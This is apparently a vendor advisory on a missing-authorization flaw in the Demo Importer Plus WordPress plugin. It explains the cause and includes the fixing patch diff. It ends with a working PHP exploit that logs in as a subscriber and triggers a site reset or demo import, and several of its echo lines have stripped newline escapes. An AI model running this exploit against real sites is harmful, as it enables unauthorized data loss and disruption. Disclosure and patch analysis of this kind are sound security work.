Atomic Edge analysis of CVE-2025-69091:
The Demo Importer Plus WordPress plugin, versions 2.0.8 and earlier, contains a missing authorization vulnerability in its Ajax handler. This flaw allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized administrative actions, including site resets and demo imports. The vulnerability stems from insufficient capability checks on multiple critical functions.
The root cause is the absence of capability checks in the `handle_ajax_request` method within `/demo-importer-plus/inc/Ajax.php`. Before patching, the `case` statements for actions ‘import-demo’ (lines 57-63), ‘update_attachment’ (line 65), ‘import-page’ (lines 74-80), and ‘do-reinstall’ (line 82) executed their respective functions without verifying the user’s permissions. The plugin’s REST API endpoint accepted these actions and processed them for any authenticated user, regardless of role.
Exploitation requires an authenticated WordPress session with any valid user account. Attackers send a POST request to the plugin’s REST API endpoint, typically `/wp-json/demo-importer-plus/v1/ajax`, with the `action` parameter set to one of the vulnerable actions. For ‘import-demo’, the request must include a valid demo `id` parameter. For ‘do-reinstall’, no additional parameters are required. The request bypasses authorization checks entirely.
The patch in version 2.0.9 adds explicit `current_user_can()` checks before executing each vulnerable function. For ‘import-demo’ and ‘import-page’ actions, the patch requires both the ‘import’ and ‘manage_options’ capabilities (lines 58-59, 81-82). The ‘update_attachment’ action now requires the ‘upload_files’ capability (line 66). The ‘do-reinstall’ action requires the ‘manage_options’ capability (line 83). These checks restrict the actions to users with appropriate administrative privileges, aligning with WordPress security best practices.
Successful exploitation allows attackers with minimal privileges to import demo sites, update media attachments, import specific pages, and perform a full site reinstall. These actions can modify site content, alter configurations, and potentially disrupt website functionality. The ‘do-reinstall’ action poses a significant risk, as it could reset the site to a default state, causing data loss or service interruption.
--- a/demo-importer-plus/demo-importer-plus.php
+++ b/demo-importer-plus/demo-importer-plus.php
@@ -7,7 +7,7 @@
* Author URI: https://kraftplugins.com/
* Text Domain: demo-importer-plus
* Domain Path: /languages
- * Version: 2.0.8
+ * Version: 2.0.9
* Tested up to: 6.8
*
* @package Demo Importer Plus
@@ -21,7 +21,7 @@
}
if ( ! defined( 'DEMO_IMPORTER_PLUS_VER' ) ) {
- define( 'DEMO_IMPORTER_PLUS_VER', '2.0.8' );
+ define( 'DEMO_IMPORTER_PLUS_VER', '2.0.9' );
}
if ( ! defined( 'DEMO_IMPORTER_PLUS_FILE' ) ) {
--- a/demo-importer-plus/inc/Ajax.php
+++ b/demo-importer-plus/inc/Ajax.php
@@ -57,14 +57,20 @@
break;
break;
case 'import-demo':
- if ( $request->get_param( 'id' ) ) {
+ if ( ! current_user_can( 'import' ) || ! current_user_can( 'manage_options' ) ) {
+ $data = new WP_Error( 'permission_denied', 'You do not have permission to import demo sites.', 403 );
+ } else if ( $request->get_param( 'id' ) ) {
$data = static::import_demo_site( $request );
} else {
$data = new WP_Error( 'invalid_request', 'Requires Demo ID.' );
}
break;
case 'update_attachment':
- $data = static::update_attachment( $request );
+ if ( ! current_user_can( 'upload_files' ) ) {
+ $data = new WP_Error( 'permission_denied', 'You do not have permission to update attachments.', 403 );
+ } else {
+ $data = static::update_attachment( $request );
+ }
break;
case 'required-plugins':
if ( $request->get_param( 'id' ) ) {
@@ -74,14 +80,20 @@
}
break;
case 'import-page':
- if ( $request->get_param( 'id' ) && $request->get_param( 'page_id' ) ) {
+ if ( ! current_user_can( 'import' ) || ! current_user_can( 'manage_options' ) ) {
+ $data = new WP_Error( 'permission_denied', 'You do not have permission to import pages.', 403 );
+ } else if ( $request->get_param( 'id' ) && $request->get_param( 'page_id' ) ) {
$data = static::import_page( $request );
} else {
$data = new WP_Error( 'invalid_request', 'Invalid Page ID and Demo ID.' );
}
break;
case 'do-reinstall':
- $data = static::do_reinstall( $request );
+ if ( ! current_user_can( 'manage_options' ) ) {
+ $data = new WP_Error( 'permission_denied', 'You do not have permission to reset site.', 403 );
+ } else {
+ $data = static::do_reinstall( $request );
+ }
break;
case 'activate-plugin':
if ( ! current_user_can( 'activate_plugins' ) ) {
--- a/demo-importer-plus/vendor/composer/installed.php
+++ b/demo-importer-plus/vendor/composer/installed.php
@@ -1,9 +1,9 @@
<?php return array(
'root' => array(
'name' => 'kraftplugins/demo-importer-plus',
- 'pretty_version' => 'v2.0.8',
- 'version' => '2.0.8.0',
- 'reference' => 'd41f4a8126b884b8988719e52efa35b08db7ca89',
+ 'pretty_version' => 'v2.0.9',
+ 'version' => '2.0.9.0',
+ 'reference' => '7b7f19bc22d91a3fd17fd8003feef259ae953f34',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -20,9 +20,9 @@
'dev_requirement' => false,
),
'kraftplugins/demo-importer-plus' => array(
- 'pretty_version' => 'v2.0.8',
- 'version' => '2.0.8.0',
- 'reference' => 'd41f4a8126b884b8988719e52efa35b08db7ca89',
+ 'pretty_version' => 'v2.0.9',
+ 'version' => '2.0.9.0',
+ 'reference' => '7b7f19bc22d91a3fd17fd8003feef259ae953f34',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69091 - Demo Importer Plus <= 2.0.8 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-69091
* Requires a valid WordPress user session (any role)
*/
$target_url = 'https://vulnerable-site.com'; // Change this to the target WordPress site
$username = 'subscriber_user'; // Any valid WordPress username
$password = 'subscriber_pass'; // Password for the user
// Step 1: Authenticate to WordPress and obtain nonce/credentials
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-json/demo-importer-plus/v1/ajax';
// Create a cURL handle for session persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 2: Perform WordPress login
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$login_response = curl_exec($ch);
// Step 3: Exploit missing authorization in 'do-reinstall' action
// This action resets the site without requiring admin privileges
$exploit_data = [
'action' => 'do-reinstall'
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($exploit_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
$exploit_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Status: $http_coden";
echo "Response: $exploit_responsen";
// Step 4: Alternative exploit for 'import-demo' action
// Requires a valid demo ID parameter
$import_data = [
'action' => 'import-demo',
'id' => '123' // Replace with actual demo ID
];
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($import_data));
$import_response = curl_exec($ch);
echo "nImport demo response: $import_responsen";
curl_close($ch);
?>